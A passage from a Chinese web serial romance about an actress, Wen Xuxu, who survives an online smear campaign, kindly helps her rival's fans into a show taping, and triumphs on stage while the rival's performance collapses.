可若细究她究竟做了什么?却没人能说出个所以然。有人说她“抢角色”,有人说她“耍大牌”,有人说她“靠关系上位”,可真正经得起推敲的实锤,一条都没有。 但她就是被黑得体无完肤。 第1272章 会让她付出代价 “我不知道你到底做错了什么,但既然那么多人都在骂你,那你就是私德有亏,对吧?” “如果你真的是个很好的人,那为什么几乎全网的人都在骂你呢?你难道就没有做错的地方吗?” “温栩栩总是会以这种方式爆红了,先黑后红,黑红也是红。” 这些话,像毒蛇的信子,缠绕在舆论的每一个角落。它们不讲逻辑,只讲“共识”。 只要足够多人骂你,你就一定是错的。 在这个流量为王的时代,正义早已被情绪取代,真相被淹没在声浪之下。 而温栩栩,又一次站在了风暴的中心。 这已经不是她第一次被全网围攻。 上一次,是因为“墨澜事件”,有人爆料她跟墨澜关系匪浅,疑似靠潜规则上位,再上一次,是“成唯被踢出剧组”事件,网友群情激愤,指责她心机深沉,故意设计将原定男主成唯挤走,只为独占资源。 尽管剧组官方早已澄清,可舆论早已发酵,温栩栩成了“心机女”的代名词。 在很多人眼里,她就是个“关系户”。 她有黎云笙的庇护,有黎氏资本的加持,有资源、有热度、有镜头。 于是,那些靠努力挣扎、靠人脉周旋、靠粉丝打投才勉强站稳脚跟的明星们,怎能不恨?怎能不惧? 于是,温栩栩被黑,成唯的粉丝第一时间“支棱”起来,重提旧事,带节奏、控评、刷话题,仿佛她们才是正义的化身。 而更多看不惯她、担心她未来会抢走自己热度的明星,也悄悄安排团队“防爆”,买黑稿、放风声、引导舆论,只求在她尚未真正爆火前,将她彻底按死。 遍地黑料,满城风雨。 可荒谬的是,就在不久前,宋婉榕才因造谣温栩栩“私生活混乱”而被律师函警告,最终不得不公开道歉。 可人们似乎已经忘了,他们宁愿相信谣言,也不愿相信真相。 而这一切的始作俑者苏婉正蜷缩在酒店的床上,手机屏幕的光映在她惨白的脸上。 她一条条翻着温栩栩的热搜,手指颤抖,眼神涣散。 她知道,自己已经输了。 每一次她试图反击,最终都被温栩栩反手碾压。 她的每一次“出击”,都成了温栩栩“被欺压”的证据,她的每一次发声,都让更多人认定她是“嫉妒狂魔”。 她不敢再直接对上温栩栩了。 因为每一次对峙,最终被钉在耻辱柱上的,总是她自己。 她想起自己曾联系八卦号,试图曝光温栩栩“靠金主上位”的“黑料”,结果反被对方团队顺藤摸瓜,扒出她私下贿赂记者、恶意引导舆论的证据,瞬间被全网嘲讽“输不起”“心机女”。那一刻,她才真正明白,温栩栩不是好惹的。 她背后有黎氏,有资本,有完整的公关团队,而她,只有一个快要崩塌的自己。 以前还有黎云笙护着她,可是现在黎云笙已经不打算护着她了。 她受不住了。 她快疯了。 她开始整夜失眠,梦见自己站在片场,所有演员都背对她,导演喊“卡”时,所有人都看向温栩栩,而她,像一个透明人。 她知道王双双不会不管她,所以苏婉找了王双双,她希望王双双能帮自己去对付温栩栩。 她承认自己自私,在遇到这种事情的时候也会亲自把自己的好友推进去,但她已经没得选了,她没有办法了。 一旦让温栩栩在圈内站稳脚跟真的爆火后,她就只能被一直完全碾压,再也没有重新站起来的希望了。 她不想害王双双,只是现实逼迫的她没得选。 苏婉内心想的都是温栩栩太狠毒,心思太重,可她却没想过如果温栩栩心思不重,现在就已经被她故意设计陷害拉下马了。 她因为自己的执念与不甘,硬生生将最好的朋友拖入这场腥风血雨。 她知道,王双双一旦出手,就等于正式向黎氏宣战,风险极大。 她不想害王双双,可她……没有别的选择了。 她内心疯狂地呐喊:“温栩栩太狠毒了!她心思太重了!她怎么能这样对我?她怎么能一次次把我踩进泥里?” 可她从未想过如果温栩栩心思不重,如果她真的天真无害,那现在被全网辱骂、被扒黑料、被踢出剧组、被资本抛弃的,会是谁? 是温栩栩。 温栩栩所做的一切,不过是正当防卫。 她若不反击,早就在“墨澜事件”中被钉死,她若不自保,早就在“成唯事件”中被舆论吞噬,她若不借力黎云笙,早就在无数个暗夜里被踢出娱乐圈,沦为无人问津的真正的十八线,谁都能来踩上一脚。 她只是在活着。 在这个弱肉强食的圈子里,善良是软弱,退让是死亡。 温栩栩没有选择“以德报怨”,因为她知道,在这个世界,德,换不来资源,怨,却能换来毁灭。 她若当时真的没有防备,没有反击,没有利用自己能利用的一切,那现在的她,会是什么下场? 她会背负全网的骂名,会被一群人辱骂到退圈,会像苏婉一样,躲在酒店里,哭着求人救她。 可她没有。她选择了战斗。 她用冷静的头脑、精准的判断、果断的行动,一次次将危机转化为机遇。 她不哭不闹,不卖惨,不靠粉丝打投,而是用作品说话,用资源开路,用资本护体。 她不是圣人,但她也不是任人宰割的羔羊。 她只是个想活下去的女人。 而苏婉,却将这一切,归结为“狠毒”“心机”“恶毒”。 她不愿承认,自己才是那个先出手的人,她不愿面对,自己才是那个因嫉妒而失控的人,她更不愿接受温栩栩比她强,比她聪明,比她更懂这个世界的规则。 王双双听着苏婉的哭诉,心如刀割。 她知道苏婉自私,知道她偏执,知道她早已被嫉妒蒙蔽了双眼。 可她还是那个会为她挡刀的闺蜜。她看着手机屏幕上温栩栩那张清冷的脸,眼神逐渐变得冰冷。 “苏婉,你放心。”她低声说,“我会让她付出代价。” 她知道,这场战争,早已不是简单的恩怨。它是资源的争夺,是地位的博弈,是资本与资本之间的角力。 温栩栩有黎氏,她有王家。不到万不得已,她不会让李丽杰出面。 她要的是精准打击,是让温栩栩在最得意的时候,突然发现她的脚下,早已是流沙。 现在网络上的人就已经开始疯狂攻击温栩栩了。 第1273章 给我等着 温栩栩被黑的风波,来得迅猛,却去得更快。 网络上一时间铺天盖地的“黑料”,什么“人设崩塌”“私德有亏”“背刺队友”,标题一个比一个耸动,配图也经过精心剪辑,试图将她塑造成一个虚伪自私的“伪善者”。 然而,这些所谓的“猛料”还没来得及在热搜上站稳脚跟,便如潮水般迅速退去。 不是被删,而是被更真实、更有说服力的证据一一击破。 温栩栩的团队反应迅速,公关得力。 黑料如雪片般纷飞,却连一丝涟漪都未曾真正掀起,便悄然沉寂。 王双双气得几乎要炸开。 她精心策划、重金雇佣水军、买通营销号,本以为能借机将温栩栩彻底踩进泥里,为自己在圈内的地位扫清障碍。 可结果呢? 温栩栩毫发无损,甚至因为这次事件,粉丝黏性更强,路人缘更稳。 她只能咬牙切齿地暂时隐忍,将这份怨恨深埋心底,暗自发誓:“温栩栩,你给我等着,我不会就这么罢休的。总有一天,我会让你身败名裂!” …… 拍摄途中,温栩栩的经纪人递来一份新的节目邀约,一档热度颇高的综艺真人秀,主打“明星与粉丝的双向奔赴”。 节目组诚意十足,不仅开出优厚的报酬,还承诺给予她足够的镜头和尊重。 温栩栩略作思索,便答应了下来。她一直认为,与粉丝的真诚互动,是艺人责任的一部分。 然而,她没想到的是,节目组这次的安排,竟如此“别有用心”。 不仅请了她,还请了苏婉。 如今在同一个节目录制现场碰面,气氛注定不会平静。 温栩栩抵达录制现场时,天色已近正午。 阳光灼热,现场早已人声鼎沸。 她从保姆车上缓缓走下,一袭简约的白色连衣裙,搭配浅色遮阳帽,素净却难掩光芒。 她刚站定,便察觉到不远处的骚动。 录制现场的侧门处,几个看起来不过二十出头的年轻女孩正围堵着一名工作人员,情绪激动,几乎要哭出来。 “我们都说好了的!双倍的价格!你能给我们现场票!凭什么我们都到现场了,你却说没票了!”短发女孩声音颤抖,眼眶通红,声音里带着哭腔,原本想凶狠地质问,却因情绪崩溃而显得软弱无助。 “你知不知道……她现在没有粉丝了,只有我们能到现场支持她!”她哽咽着喊出这句话,眼泪终于夺眶而出,像断了线的珠子,啪嗒啪嗒砸在水泥地上。 她身旁,马尾辫的女孩紧紧抱着几块精心制作的蓝色灯牌,上面用银色荧光笔写着“苏婉”两个大字,在阳光下泛着微光。 另外两个女孩也红着眼,死死堵住门口,不让工作人员离开。 “我们从三天前就开始排队,从外省赶过来,车票、住宿、请假……我们什么都没了,就为了能亲眼见她一面,给她加油!” 马尾辫女孩声音发颤,却带着倔强,“你说没票就没票?那别人怎么进去了?是不是因为她是苏婉,所以她的粉丝就不配?” 工作人员脸色铁青,额角青筋跳动。他本就因票务系统临时出错而焦头烂额,又被这群“闹事”的粉丝缠住,早已失去耐心。 “说了没票就是没票!你们听不懂吗?”他终于忍不住低吼,“再不走我叫保安了!别耽误录制!” “你叫啊!叫保安也没用!我们不走!”短发女孩抹了把脸,倔强地抬头,“我们是苏婉的粉丝,我们有权利进来!” 就在气氛剑拔弩张之际,温栩栩缓缓走了过去。 她没穿高跟鞋,脚步轻悄,却自带一种沉静的气场。 她微微蹙眉,目光扫过那几个哭得梨花带雨的女孩,又看向满脸怒容的工作人员,语气平和地问:“这是出什么事了?” 那三个女孩一听到她的声音,立刻像被踩了尾巴的猫,猛地转头,眼神瞬间充满敌意。 是温栩栩。 她们当然认得她。 苏婉的“头号对手”,媒体笔下的“劲敌”。 作为苏婉的铁杆大粉,她们对温栩栩的厌恶早已根深蒂固,哪怕温栩栩从未公开说过苏婉一句坏话。 “不要你管!”短发女孩名叫萱萱,她凶巴巴地吼道,声音却因刚哭过而发颤,还控制不住地打了个哭嗝,显得既可笑又可怜。 “你这孩子怎么回事儿?有没有点教养?怎么跟人说话呢?”工作人员见温栩栩被顶撞,立刻站出来维护,语气更重了。 萱萱被吼得一愣,脸瞬间涨得通红,像只被戳破的气球,眼泪又涌了出来,委屈地抽噎着。 马尾辫女孩急忙拽住她的衣袖,声音带着哭腔:“萱萱,别说了……还有十五分钟就开始录制了,我们……我们还能进去吗?” 三人急得直跺脚,眼神里满是无助与绝望。 她们不是为了自己,而是为了那个她们深爱的、在舆论中逐渐失势的偶像。 她们知道苏婉最近处境艰难,资源下滑,粉丝流失,可她们还在。她们是她最后的光。 温栩栩静静地看着她们,心中忽然涌起一阵复杂的情绪。 她对这些粉丝没有恶意。她们还只是孩子,或许有些幼稚,有些偏激,甚至对她抱有误解,但她们的爱是真实的,纯粹的。 她们愿意为偶像跋山涉水,愿意为一场录制彻夜排队,愿意在所有人都离开时,依然高举灯牌,这份执着,她懂。 她轻轻叹了口气,走上前,语气柔和:“你们是苏婉的粉丝?” 三人警惕地看着她,没说话。 见她们不说话,温栩栩对工作人员轻声问道:“到底怎么回事?” 工作人员无奈地叹了口气,揉了揉太阳穴,语气里满是疲惫与委屈:“这次的票一放出去,几分钟就抢没了。前两天导演组临时决定,在舞台侧面加三个位置,说是‘沉浸式体验区’,还能多卖点钱。我们就把票放出去了,也收了钱。结果昨晚导演突然通知我,说那三个位置正对着摄像机轨道,会挡拍摄,必须撤掉。我连夜联系买票的观众退票退款,该说的都说了,态度也够诚恳了。” 第1274章 她愿意承担后果 他顿了顿,声音微微发颤:“可这几个学生……就是不退。她们说,这是她们攒了三个月生活费才买到的票,是她们唯一能见苏婉一面的机会。今天一大早就从外省赶过来,连早饭都没吃,就为了能早点进场。现在你说没票了,她们哪能接受?” 他摊开手,眼神里满是无奈:“这事儿真不赖我啊!是场馆临时改方案,是导演拍板撤位置,我就是个执行的。可她们不找导演,不找节目组,就堵着我哭、闹,我……我也是打工人啊。” 他说着,声音低了下去,眼底泛起一丝红。 他不是冷漠,而是太清楚这个行业的规则,出问题时,总得有人背锅,而背锅的,永远是那个最无力反抗的人。 就在这时,短发女孩萱萱猛地抬起头,眼泪还在脸上未干,声音却带着倔强与悲愤:“那你们就不该把那三张票放上去卖!你们明知道会变,还卖!我们买到了,就是我们的权利!凭什么说取消就取消?我们不是黄牛,不是投机倒把,我们是真心喜欢苏婉的人!” 她声音颤抖,却一字一句砸在地上:“苏婉这场……几乎没粉丝来了。你们知道吗?她最近的热搜都是黑的,代言掉了,综艺被剪,连粉丝超话都快没人签到了。如果我们再不去,她要怎么办啊?她会以为……全世界都不要她了。” 最后一句,她几乎是哭着喊出来的。 那一刻,她不再是那个无理取闹的“闹事粉”,而是一个在偶像低谷时,仍想用自己微弱的光去照亮对方的少女。 她知道自己的力量渺小,但她不愿放弃。 粉丝就是这样。 他们把偶像的成败当作自己的成败,把偶像的冷暖当作自己的冷暖。 他们会在深夜刷数据,在寒风中等接机,在舆论风暴中挺身而出。 他们不是不知道现实的残酷,而是宁愿相信,爱可以逆转命运。 可他们不知道的是,有些人,或许根本不需要这份爱。 有些人,把粉丝的喜欢当作理所当然,把应援、打投、控评当成圈钱的工具,把“陪伴”当作可以反复收割的情绪资本。他们享受着光芒,却从不真正看向那些为他们举灯的人。 就如苏婉。 她或许曾有过真诚,但在这场名利的游戏里,她渐渐忘了初心。 她不再回应粉丝的留言,不再感谢应援,甚至在公开场合对粉丝的付出轻描淡写。她开始依赖资本、依赖话题、依赖争议,而把最纯粹的支持者,晾在了角落。 可这几个女孩不知道。 她们依旧相信,只要她们在,苏婉就不会倒下。 她们是无辜的。 她们的执着,不是愚蠢,而是在成人世界早已学会妥协时,她们仍选择相信纯粹。 温栩栩静静地听着,眼神从最初的疑惑,渐渐转为理解,最后沉淀为一种温柔的坚定。 她没有急着表态,而是微微侧头,思索片刻,才缓缓开口:“让她们进去吧。” 工作人员一愣:“可……节目组有规定,非工作人员不能进后台区,站立区也只对内部开放……” “规定是死的。”温栩栩语气依旧平和,却带着不容置疑的力量,“人是活的。她们不是来闹事的,是来支持偶像的。她们没骂人,没破坏秩序,只是想进场。这有错吗?” 她顿了顿,目光扫过那三个红着眼的女孩,声音放得更柔:“而且,她们是今天最早到现场的观众。这份心意,值得被尊重。” 她转向工作人员,语气缓和却坚定:“我记得,这期节目有个‘工作人员站立观众区’,是给不参与录制但需要在场的后勤人员准备的,位置在舞台侧后方,视野其实很好,甚至比一些后排座位还近。如果她们愿意,可以让她们去那里。” 她顿了顿,看向三个女孩,语气真诚:“这次是节目组的问题,票钱会全额退给你们。如果你们愿意进场,只能待在那个区域,可能没座位,需要站着,但能看清舞台,也能参与现场氛围。你们觉得,可以吗?” 三个女孩愣住了。 马尾辫女孩睁大眼睛:“真的吗?我们可以进场?” “嗯。”温栩栩点头,嘴角微扬,“我会跟节目组沟通,确保你们能顺利进去。” “太好了!”萱萱破涕为笑,激动得原地跳了一下,随即又意识到失态,赶紧站好,认真地朝温栩栩鞠了一躬,“谢谢您!温栩栩老师,真的谢谢您!” 她的眼里闪着光,那光里有感激,有惊喜,还有一丝难以置信,她从未想过,那个被她们视为“对手”的人,竟会在这个时候,为她们撑起一片天。 另外两个女孩也纷纷鞠躬。 温栩栩笑了,她低头看了眼腕表,轻声道:“行了,时间差不多了,你带她们进去吧。别误了录制。” 工作人员叹了口气,语气复杂:“温栩栩老师,你这又是何必呢?她们可都是苏婉的粉丝啊。你帮她们,她们也不会感激你,说不定转头就在网上说你作秀。” 温栩栩抬抬下巴,眉眼间一片坦然,半点不在意:“作秀?如果做一件对的事会被说作秀,那我宁愿多‘作’几次。” 她望着那三个女孩被工作人员领着走向侧门的背影,轻声道:“她们不是苏婉的粉丝,她们是三个愿意为热爱奔赴千里的姑娘。她们的眼睛里有光,那光,不该被辜负。” 温栩栩抬抬下巴,眉眼间一片坦然,唇角微扬,语气轻得像风拂过湖面:“都是群可爱的小姑娘呢。” 她说话时,阳光正斜斜地洒在她肩头,白色连衣裙的裙摆被风轻轻掀起一角。 那句“可爱”,不是敷衍,不是客套,而是发自内心的柔软与包容。 工作人员张了张嘴,终究没再说什么。 他原本还想劝几句,毕竟节目组有规定,非录制人员不得进入核心区域,更何况是三个来“闹事”的粉丝。可温栩栩的态度太坚定,又太温柔,那种“我愿意承担后果”的从容,让人无法反驳。 第1275章 还怪可爱的 三个小粉丝凑在一堆儿,像三只受惊的小兔子,偷偷抬眼打量她。 她们原本对温栩栩的印象,全是网络上那些被放大的“黑料”和粉丝圈里的偏见,“心机”“伪善”“踩着别人上位”。 可此刻,站在她们面前的,是一个会为陌生人争取入场权、会温柔询问她们意愿、会笑着替她们擦眼泪的女人。 当温栩栩的目光扫过来时,她们又赶紧躲闪,低头看鞋尖,脸却悄悄红了。 “还怪可爱的。”温栩栩轻笑出声,眼底泛起一丝暖意。 她忽然觉得,这些孩子,像极了这个浮躁娱乐圈里最后一点未被污染的纯真。 “好了,”她抬手看了看表,轻声道,“快带她们进去吧,我也要去后台准备了。” 工作人员连着应了几个“哎”,带着三个小萝卜头似的女孩往侧门走。一边走,一边还不忘“教育”“听见没有?我们温栩栩老师人美心善,你们要有点良心,以后网上少骂我们温栩栩老师几句,别被人带节奏就跟着喷,明白吗?” 三个女孩低着头,小声应着:“嗯嗯……啊啊……”声音像蚊子哼,可嘴角却悄悄扬起,抱着灯牌的手也攥得更紧了。 走着走着,短发女孩萱萱忽然小声嘟囔了一句:“温栩栩好像也不是那么坏的嘛……” 旁边马尾辫女孩立刻接话:“是啊,她刚刚说话的样子,好温柔,一点都不像网上说的那样。” “而且……”另一个女孩眯着眼打量温栩栩的背影,小声补充,“长得确实很好看,反正娱乐圈里面真的就只有她最漂亮了。” 她们的声音很轻,却一字不落地飘进了温栩栩的耳朵。她没回头,只是唇角微微上扬,脚步轻快地走向后台。 温栩栩最近虽然爆火,但在这档综艺的节目组眼里,她仍算不上“顶流”。导演给她的镜头不算多,资源也中规中矩。她提了关于粉丝入场的问题,导演也应了。 前面的节目录制后就轮到他们登台表演。 轮到她上台时,场馆内的气氛悄然变了。 原本喧闹的观众席突然安静下来,连工作人员都停下脚步,望向舞台。 温栩栩的粉丝们早已在前排站成一片,手举应援牌,眼神炽热。 舞台灯光缓缓暗下,一束幽蓝的追光打在舞台中央。 台下瞬间鸦雀无声。 所有人都屏住呼吸,仿佛怕惊扰了即将降临的梦境。 就在这片寂静中,一道慵懒而富有磁性的女声,带着浓浓的港风韵味,缓缓钻进每个人的耳朵。 那声音像一杯温热的红酒,缓缓流淌进心底,带着八九十年代港片独有的浪漫与不羁。尾音微微上扬,带着一丝俏皮,又藏着几分深情,让人忍不住心头一颤。 台下有人倒吸一口冷气:“她……要唱粤语歌?” 前奏响起,轻快的节奏中夹杂着复古的萨克斯风,像老式唱片机里传出的旧时光。 灯光一束束亮起,最终聚焦在舞台中央。 温栩栩,出现了。 她穿着一袭复古港风小礼裙,红色丝绒材质在灯光下泛着细腻的光泽,裙摆微扬,勾勒出她窈窕的身段。 银色高跟鞋踩在舞台上,发出清脆的声响,像夜色中敲响的钟声。 她的妆容是纯正的港风复古造型,蓬松微卷的长发慵懒地披在肩头,漆黑的眼眸如深潭,眼线微微上挑,勾出几分妩媚,唇上是一抹正红,饱满而性感,像一朵在暗夜中悄然绽放的玫瑰。 她踩着节奏,缓缓走向舞台中央,每一步都像踩在人心上。 她不是在走,而是在演绎一场旧梦。 观众席瞬间哗然,却又被某种无形的力量压制着,没人敢大声尖叫,没人敢鼓掌,仿佛怕惊扰了这幅从老电影中走出的画卷。 她站在聚光灯下,像一尊被时光雕琢的女神,美得让人不敢直视。 温栩栩略微勾了勾唇,那笑意极淡,像春风拂过湖面,只泛起一丝涟漪,却未惊动半分波澜。 可就是这一个并不明显的笑,台下粉丝却像是被什么无形的东西击中,齐齐倒抽了一口凉气。 那一刻,时间仿佛静止。 她站在舞台中央,灯光如金纱般倾泻而下,将她笼罩在一片朦胧的光晕之中。 直播间炸了。 弹幕如暴雨般倾泻,密密麻麻覆盖了整个屏幕。 就在这片寂静与期待中,轻快甜美、令人愉悦的音乐终于响彻整个场馆。 前奏是清脆的钢琴与轻柔的鼓点,像清晨的露珠滴落在花瓣上,带着一种干净而纯粹的甜意。 温栩栩微微仰头,闭眼轻哼,嗓音如蜜糖般流淌而出——是《喜欢你》。 但这不是一首简单的甜歌翻唱。 温栩栩对这首歌进行了大胆而精妙的改编。她在副歌前加入了几个高难度的转音,音调陡然拔高,像一只轻盈的鸟振翅飞向云霄,又在最高处一个回旋,轻盈落地。 那几个转音,不仅展现了她惊人的唱功,更让整首歌的层次感瞬间升华,从最初的甜美,到中段的激昂,再到尾声的温柔呢喃,像是一场情绪的过山车,却始终被她稳稳掌控。 她不是在唱歌,而是在用声音织梦。 台上的大屏幕同步切换,剪辑的港风背景缓缓铺开。 霓虹闪烁的旧式街道、老式茶餐厅的玻璃窗、黑白格子地砖、穿旗袍的女郎、骑着摩托车掠过的少年……画面泛着淡淡的胶片质感,仿佛一卷被尘封多年的录像带,此刻正被轻轻播放。 观众仿佛被瞬间拉回了八零九零年代,那个没有智能手机、没有社交媒体,却有着最纯粹情感的年代。 那时的爱情,是写在纸条上的“我喜欢你”,是放学后偷偷对视的一眼,是录音带里反复播放的粤语歌。 温栩栩的歌声,成了这场梦境的引路人。 她唱到中间那段高音时,整个人像是被光芒托起,眼神明亮如星,唇角微扬。 那一刻,她不再是那个被网络舆论裹挟的“温栩栩”,而是八十年代电影里那个敢爱敢恨、明媚动人的女主角。 第1276章 台上的人,是他的 音调逐渐回落,她的声音也放轻,像是怕惊扰了什么。 最后两句,她几乎是贴着麦克风呢喃而出。 那声音里带着一丝轻微的喘意,像是刚跑完一段长长的路,又像是压抑了太久终于说出口的心事。 可这喘意非但不显疲惫,反而更添几分甜腻与真实,仿佛她真的在对着某个特定的人,说一句藏了许久的情话。 台下的少女们红了眼眶。 音乐进入尾声,最后一个音符缓缓消散在空气中。 全场寂静。 然后,温栩栩陡然睁开眼,眸光如星火般璀璨,嘴角扬起一抹灿然笑意。 她轻轻抬起手,从身后拿出一顶毛茸茸的白色兔耳发箍,慢悠悠地戴在头上。 全场爆发出震耳欲聋的尖叫。 她歪头一笑,冲台下飞了一个wink,用带着港式腔调的普通话轻声道“呐~要一起开心哦~” 那一瞬间,仿佛整个世界都亮了。 直播弹幕彻底垮掉。 弹幕密密麻麻,几乎遮住了整个画面。 “我的天……这是温栩栩?” “她什么时候会唱粤语歌了?这嗓音……太勾人了!” “这造型,这气质,绝了啊……” “她……原来可以这么美。”一个粉丝喃喃道。 “这不是表演,这是灵魂在唱歌。”另一个粉丝红着眼眶说。 后台,导演原本正低头看流程表,听到歌声后猛地抬头,手里的笔“啪”地掉在地上。 “这……这是温栩栩?!”他瞪大眼睛,不可置信地看向身旁的执行导演,“她什么时候准备了这个?!” 执行导演也愣住了:“她没报备……这是……即兴?” “即兴个鬼!”导演猛地站起身,“这编曲、这妆造、这情绪,没有一个月以上的准备,根本做不到!她……她早就准备好了!” 导演自然高兴,就冲这个,节目一定会爆。 三秒后,掌声如雷,尖叫如潮,整个场馆几乎要被掀翻。 “温栩栩!温栩栩!温栩栩!” 呼喊声震耳欲聋,粉丝们挥舞着应援牌叫喊她的名字。 温栩栩微微喘息,弯腰鞠躬,眼底有光,唇角含笑。 她没说话,只是静静地站在那里,像一尊被加冕的女王。 直播弹幕已经垮掉了,整个的垮掉了。 屏幕被密密麻麻的“啊啊啊啊”“我死了”“救命我恋爱了”“兔耳杀我”彻底淹没,连视频画面都几乎看不清。 弹幕像一场失控的雪崩,从四面八方倾泻而下,层层叠叠,仿佛整个网络都在为这一刻颤抖。 评论区瞬间炸裂,热搜词条#温栩栩港风封神#、#温栩栩兔耳wink#、#梦回八零九零年代#以每分钟十万条的速度飙升,话题热度直逼榜首。 谁能想到,温栩栩会来这么一出? 她选了《喜欢你》这首本就带着淡淡怀旧气息的歌,却不是简单翻唱,而是将其彻底重塑,港风编曲、复古混音、萨克斯与钢琴交织出老式唱片的质感,仿佛从九十年代的录音带里缓缓流淌而出。 她穿了港风的小礼裙,红得热烈,像一朵在夜色中燃烧的玫瑰,裙摆微扬,勾勒出她纤细的腰肢与修长的腿线,每一步都踩在时光的节拍上。 背景是精心剪辑的港式街景,霓虹灯牌、老式巴士、穿旗袍的女郎、骑摩托车的少年,画面泛着胶片般的颗粒感,像一部被尘封多年的电影,此刻终于被重新放映。 就连她的声音,都染上了浓浓的港式腔调,尾音微微上扬,带着一丝慵懒与俏皮,像是从老式收音机里传出的呢喃,轻轻挠在人心最柔软的地方。 简直梦回八零九零年代! 那是一个没有滤镜、没有算法、没有流量的时代,却有着最真挚的情感。那时的爱情,是递出一封情书的忐忑,是电影院里偷偷牵起的手,是录音带里反复播放的一句“我喜欢你”。 而温栩栩,用一首歌、一个眼神、一顶兔耳,将整个时代的情感记忆,温柔地唤醒。 特别是最后戴上兔耳更是暴击! 当她从身后拿出那顶毛茸茸的白色兔耳发箍,慢悠悠戴上的那一刻,全场观众的心脏仿佛被同时击中。她歪头一笑,冲台下飞了一个wink,用带着港腔的软糯嗓音说:“呐~要一起开心哦~” 那一瞬,世界安静了。 然后,爆炸了。 公屏上,温栩栩的名字被疯狂刷屏,像一场永不落幕的烟花盛宴。 粉丝们激动地截图、录屏、剪辑短视频,标题一个比一个夸张。 而最动人的是,几乎每一个看到那一幕的人,都坚信——那个wink,那句“要一起开心哦”,是温栩栩对自己说的。 他们红着脸,捂着心口,仿佛被全世界最温柔的人注视了一眼。他们相信,自己是特别的,是被她看见的。 可只有温栩栩知道。 那一眼,只望向一个人。 黎云笙。 他坐在观众席的第三排,没有前排粉丝那般激动地挥舞灯牌,也没有大声呼喊她的名字。 他只是安静地坐着,双手交叠放在膝上,目光始终落在她身上,像一潭深水,沉静而炽热。 当她唱到“只要你回头,我就愿意”时,她的目光穿过人群,轻轻落在他身上。 当她戴上兔耳,飞出那个wink时,她的嘴角微扬,眼底闪过一丝只有他才懂的狡黠。 当她说“要一起开心哦”时,她的声音轻得像风,却带着只有他能听见的温柔。 那是她对他的告白,是只属于他们的暗号。 黎云笙坐在台下,周围是喧嚣的人群,是震耳欲聋的尖叫,是无数人为她疯狂。可在他眼中,整个世界只剩下她一人。 她站在台上,笑得明媚张扬,魅力四射,像一颗骤然升起的星辰,照亮了整个夜空。 他知道,台上的人,是他的。 她可以对全世界温柔,可以对粉丝撒娇,可以对镜头微笑。 可那一眼,那一笑,那一句“要一起开心哦”,是只属于他的。 …… 轮到苏婉上场时,场馆内的气氛还沉浸在温栩栩留下的余温里。 观众们仍沉浸在那场港风浪漫的视听盛宴中,意犹未尽地讨论着“兔耳wink”的杀伤力,弹幕里还在刷着“温栩栩封神”“今晚的神明是红裙少女”。就在这片热潮未退的间隙,舞台灯光骤然一转,冷蓝色的光束洒落,音乐前奏缓缓响起。 第1277章 施舍怜悯的掌声 苏婉登场了。 她穿着一袭银白色亮片短裙,裙摆缀满细碎水钻,在灯光下本该熠熠生辉,像星河倾泻而下。 可她站在舞台中央的模样,却像一只误入猎场的鹿,眼神慌乱,呼吸急促,连站姿都透着一股难以掩饰的紧绷。 音乐响起,是她精心准备的原创曲《光点》,一首本该轻快灵动、充满希望的舞曲。可第一个八拍,她的舞步就错了。 本该是向左滑步接旋转,她却向右跨了一大步,动作僵硬得像被卡住的机械人偶。台 下观众起初还没反应过来,以为是编舞设计,可当她第二次在同样的节拍上踩错节奏,连手臂的摆动都跟不上鼓点时,现场开始响起零星的窃笑。 “哎?她是不是跳错了?” “是不是太紧张了……” “这动作和排练视频完全不一样啊。” 苏婉的耳返里,音乐还在轰鸣,可她的大脑却像被按下暂停键。 她能听见自己的心跳声,轰隆作响,盖过了节拍器,盖过了伴奏,甚至盖过了自己发出的声音。 她试图调整,可越是想纠正,动作就越发混乱。 原本流畅的舞蹈变得支离破碎,像一段被错误剪辑的视频,卡顿、跳帧、重复。 更糟的是,她开始唱跑调了。 副歌部分,本该是高音爆发、情绪上扬的段落,可她的声音却像断了线的风筝,忽高忽低,音准飘忽不定。 第一个高音没顶上去,反而滑到了低音区,像走调的琴弦,刺耳又难堪。 她慌忙低头看地上的标记点,想找回节奏,可这一低头,更是彻底打乱了呼吸与发声的配合。 “我喜欢这世界……”她唱着,可声音颤抖得像风中的烛火,随时可能熄灭。 台下,原本安静期待的观众开始交头接耳。有人皱眉,有人摇头,甚至有人掏出手机,开始录下这“名场面”。 直播弹幕也瞬间被刷爆: “苏婉怎么回事?都已经唱破音了!” “拜托,都已经上台表演了,能不能有点专业素养?唱不了就不要上台啊,唱的这是什么?纯粹是来折磨我们的!” “哈,笑死,KTV唱歌水平都不会这么差!” “当初到底是谁一直吹捧苏婉的?这有什么好吹捧的?当初吹苏婉唱歌跟天籁一样,现在呢?这算原形毕露吗?丢脸都跑到台上丢脸去了!” 可就在这片嘲讽与质疑的声浪中,有三个身影始终倔强地站着。 是苏婉那三个粉丝。 他们站在观众席最前排,手中高举着印有“苏婉,我们爱你”的应援灯牌,牌子上的字在昏暗的场馆里显得格外孤单,却也格外明亮。 他们没有坐下,哪怕周围的人都在议论纷纷,哪怕舞台上的偶像正一步步走向失控,他们依然挺直脊背,用力地摇晃着手中的灯牌。 “苏婉!加油!” “你可以的!” “我们在这儿!” 他们嘶声呐喊,声音被淹没在嘈杂的议论中,可他们没有停。 其中一个女生眼眶泛红,一边喊一边用力挥舞着灯牌,像是要用这微弱的光,为她撑起一片不被黑暗吞噬的天空。 而台上的苏婉,眼角余光扫到了那三道身影。 那一瞬,她的心猛地一缩。 她不是没努力过。她比谁都清楚自己不够耀眼,不够完美。她没有温栩栩的天赋,没有她的外貌,甚至仙豆都已经没有足够的资源和团队支持。 可现在,她搞砸了。 舞步错乱,歌声走音,连最基础的节奏都踩不准。 她能感觉到台下目光的重量,有失望,有讥笑,有冷漠。她甚至听见后排有人笑着说:“这水平也敢上台?不如回家练两年。” 她想哭。 可她不能。 她咬住下唇,强迫自己继续跳下去,哪怕动作已经变形,哪怕歌声已经颤抖得几乎听不清歌词。她知道,只要她还站在舞台上,就不能倒下。 可越是挣扎,越是狼狈。 她的高跟鞋在旋转时打滑,差点摔倒,她的呼吸越来越乱,声音越来越虚,她的大脑一片空白,连下一段歌词是什么都记不清了。她只能机械地跟着音乐,像一具被抽空灵魂的躯壳。 终于,音乐结束了。 场馆内一片寂静。 没有掌声,没有欢呼,只有零星几下尴尬的拍手,像是在施舍怜悯。 苏婉站在原地,胸口剧烈起伏,额头上全是冷汗。她低着头,不敢看台下,不敢看那三个还在为她举着灯牌的粉丝,更不敢看主持人的表情。 